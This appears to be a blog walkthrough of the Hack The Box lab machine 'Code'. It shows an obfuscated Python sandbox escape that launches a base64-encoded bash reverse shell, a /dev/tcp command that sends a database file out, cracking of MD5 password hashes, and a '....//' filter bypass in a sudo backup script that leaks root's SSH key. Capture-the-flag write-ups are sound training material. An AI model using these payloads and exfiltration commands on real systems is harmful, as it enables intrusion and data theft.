Post

HTB Code

HTB Code

OS: 🐧 Linux
Difficulty: Easy
Points: 20
Author: FisMatHack

Code starts by exploiting an RCE in a Python Code Editor web app by using a Python Jail Bypass. Once we have the foothold and after files inspection, we find a databas file with users creds, that we crack to move laterally. For the privesc, the user has permissions to a backup utility script, to be exploited via a path traversal vulnerabiliy, to backup root directory, consequently, we get root.


Foothold

We start by a scan for open ports using Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 10.10.11.62
Host is up (0.050s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Beside the ssh running on port 22, we have a web app running on port 5000, so visit this web page :

Code HTB Homepage Website Homepage

So it’s basically an online python code editor, we write a python script, and execute it by clicking on “Run”, as described in /about :
Code HTB About Website About page

As there are two other pages, one for registering a new user account, the other to login with an already registered user account :

Code HTB Register pageCode HTB Login page
Register pageLogin page

This mainly for saving the user’s scripts. Code HTB Save Website Save page

We use Burpsuite to intercept a code running request, then we just change the code each time, for better output (just make sure the indentation is respected, even though code may look like one block when URL encoded).

So we craft a payload to bypass this Python sandbox.

So we start by printing globals() output.

1
print(globals())

The globals() function in Python returns a dictionary representing the current global symbol table, showing all the names (variables, functions, classes, modules, …) that are accessible in the current global scope.

Code globals

we notice that the module os is imported : Code os module found

We list all classes that inherit from object

1
2
for cls in [].__class__.__base__.__subclasses__():
    print(cls, end = "  ") 

Among these classes, we find the BuiltinImporter class :

Code BuiltinImporter class

Basically, BuiltinImporter is responsible for finding and loading built-in modules.

Note: Import Steps for os module :

  1. Checks BuiltinImporter (not found)
  2. Checks sys.path via PathFinder
  3. Finds os.py in standard library
  4. During execution, os.py imports from built-in posix module

We’ll simply bypass the constraint by obfuscating the restricted keywords, by dynamically constructing them, by concatenating the character translation of their numerical ASCII code :

1
2
3
4
for cls in [].__class__.__base__.__subclasses__():
  if cls.__name__ == ''.join([chr(x) for x in [66, 117, 105, 108, 116, 105, 110, 73, 109, 112, 111, 114, 116, 101, 114]]):
  mod = cls().load_module(''.join(chr(x) for x in [111, 115]))  
  getattr(mod, ''.join(chr(x) for x in [115, 121, 115, 116, 101, 109]))('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yMi80NDQ0IDA+JjE= | base64 -d | bash')

So we’ll load the os module, and then we use getattr() to access system method, to execute arbitrary commands.

getattr() is a built-in Python function that dynamically accesses an object’s attributes or methods by name (as a string).

So our exploit, is interpreted as :

1
2
3
4
for cls in [].__class__.__base__.__subclasses__():
  if cls.__name__ == 'BuiltinImporter':
  mod = cls().load_module('os')  
  getattr(mod, 'system')('echo <payload> | base64 -d | bash')

For the payload, we can just use a regular reverse shell payload :

1
bash -i >& /dev/tcp/<ip_address>/<port> 0>&1

We start a listener on port 4444, and we run our exploit : Code Exploit request
We receive a shell session as app-production!

1
2
3
4
5
6
7
8
➜  Code rlwrap nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.62 60540
bash: cannot set terminal process group (100765): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$ whoami
whoami
app-production

We visit it’s home directory, and we find the user flag there :

1
2
3
app-production@code:~$ cat user.txt
cat user.txt
6c9bc18baa9019db68f57821xxxxxxxx

Lateral movement

We list the content of the app directory, we find a directory called instance, containing an sqlite3 database file :

1
2
3
4
5
6
7
8
9
10
11
12
app-production@code:~/app$ find . -type f
find . -type f
./app.py
./static/css/styles.css
./templates/index.html
./templates/codes.html
./templates/register.html
./templates/login.html
./templates/about.html
./__pycache__/app.cpython-38.pyc
./instance/database.db
app-production@code:~/app$

We download this file to our machine, by : 1) Starting a listener on port 1337 and redirects the incoming data to a file on our machine :

1
nc -l -p 1337 > database.db

1) Sending the contents of file directly to the listening netcat server over TCP from the box :

1
cat database.db > /dev/tcp/10.10.16.22/1337

We open this database file using sqlitebrowser :
Code Database tables list
We read the contain of the table user :

Code User table

We have two credentials! The password is most likely an MD5 hash, as it’s represented as a 32-character hexadecimal string, equals to 128 bits.

We try to crack the hashes using CrackStation Online Hash Cracker :
1) First hash cracked, plaintext password of development is : development Code First hash Cracked

2) Second hash cracked, plaintext password of martin is : nafeelswordmaster Code Second hash Cracked

So we try both credentials with ssh :
1) Failed login to development :

1
2
3
➜  Code ssh development@10.10.11.62
development@10.10.11.62's password:
Permission denied, please try again.

2) Successful login to martin :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
➜  Code ssh martin@10.10.11.62
martin@10.10.11.62's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue 05 Aug 2025 12:14:15 AM UTC

  System load:           0.06
  Usage of /:            52.5% of 5.33GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             235
  Users logged in:       2
  IPv4 address for eth0: 10.10.11.62
  IPv6 address for eth0: dead:beef::250:56ff:fe94:4acd


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Aug 5 00:14:18 2025 from 10.10.16.22
martin@code:~$ whoami
martin

So we succesfully logged in as martin! Now time for the privesc.

Privilege escalation

As we have martin’s password, first thing to check is to list the allowed sudo commands for the current user :

1
2
3
4
5
6
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

So we can run /usr/bin/backy.sh as root, so a potential privesc attack vector.

We read the content of /usr/bin/backy.sh :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

The script basically is for backing up directories, with the exception of subdirectories of /home and /var, any other root directory would be refused, and we find a regex, that finds and replace every ../ by “ “ (nothing), simply deleting it, in order to prevent path traversal.

So the scripts requires a json task file that contains the path to the directory to be backed up.

1
2
martin@code:~/backups$ sudo /usr/bin/backy.sh
Usage: /usr/bin/backy.sh <task.json>

Here is an example of a task file found in the backup folder in the home directory :

1
2
3
4
5
6
7
8
9
10
11
12
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

So all we have to do, is to modify this task file, to backup the /root directory.

In order to achieve this, we change the directories_to_archive, in a way to respect the constraint of the path beginning with /home or /var, and then bypass the path traversal sanitization filter.

Knowing that ../ is getting deleted, we replace them by ....//, so that after the deletion of the the first ../, we still left with a ../, so we can change directory to root.

Our final task file will look like :

1
2
3
4
5
6
7
8
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": true,
        "directories_to_archive": [
                "/var/....//root"
        ]
}

We remove the exclusion line so that we backup hidden files and directories (like .ssh, which is the way for the root shell)

We set the verbose_log to true in order for backup messages output.

Now time to run it again :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json
2025/08/06 17:39:16 🍀 backy 1.2
2025/08/06 17:39:16 📋 Working with task.json ...
2025/08/06 17:39:16 💤 Nothing to sync
2025/08/06 17:39:16 📤 Archiving: [/var/../root]
2025/08/06 17:39:16 📥 To: /home/martin/backups ...
2025/08/06 17:39:16 📦
tar: Removing leading `/var/../' from member names
/var/../root/
/var/../root/.local/
/var/../root/.local/share/
/var/../root/.local/share/nano/
/var/../root/.local/share/nano/search_history
/var/../root/.selected_editor
/var/../root/.sqlite_history
/var/../root/.profile
/var/../root/scripts/
/var/../root/scripts/cleanup.sh
/var/../root/scripts/backups/
/var/../root/scripts/backups/task.json
/var/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/var/../root/scripts/database.db
/var/../root/scripts/cleanup2.sh
/var/../root/.python_history
/var/../root/root.txt
/var/../root/.cache/
/var/../root/.cache/motd.legal-displayed
/var/../root/.ssh/
/var/../root/.ssh/id_rsa
/var/../root/.ssh/authorized_keys
/var/../root/.bash_history
/var/../root/.bashrc

It works out! Now we have the backup of the root directory successfully! All is left is to exfiltrate it, unzip it, and login in as root.

Same technique as previously, we start a listener on our machine, and we send the file over TCP to our machine, upon unzip it, we can directly read the root flag root.txt, but we want persistence :)

So we run ssh using the private key of root :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
➜  .ssh ssh -i id_rsa root@10.10.11.62
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed 06 Aug 2025 06:06:23 PM UTC

  System load:           0.0
  Usage of /:            53.7% of 5.33GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             236
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.62
  IPv6 address for eth0: dead:beef::250:56ff:fe94:9e73


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Aug 6 18:06:25 2025 from 10.10.16.22
root@code:~#

And we got root shell! Now we can read our root flag :

1
2
root@code:~# cat root.txt
468aab655932260d0cff4dexxxxxxxx
This post is licensed under CC BY 4.0 by the author.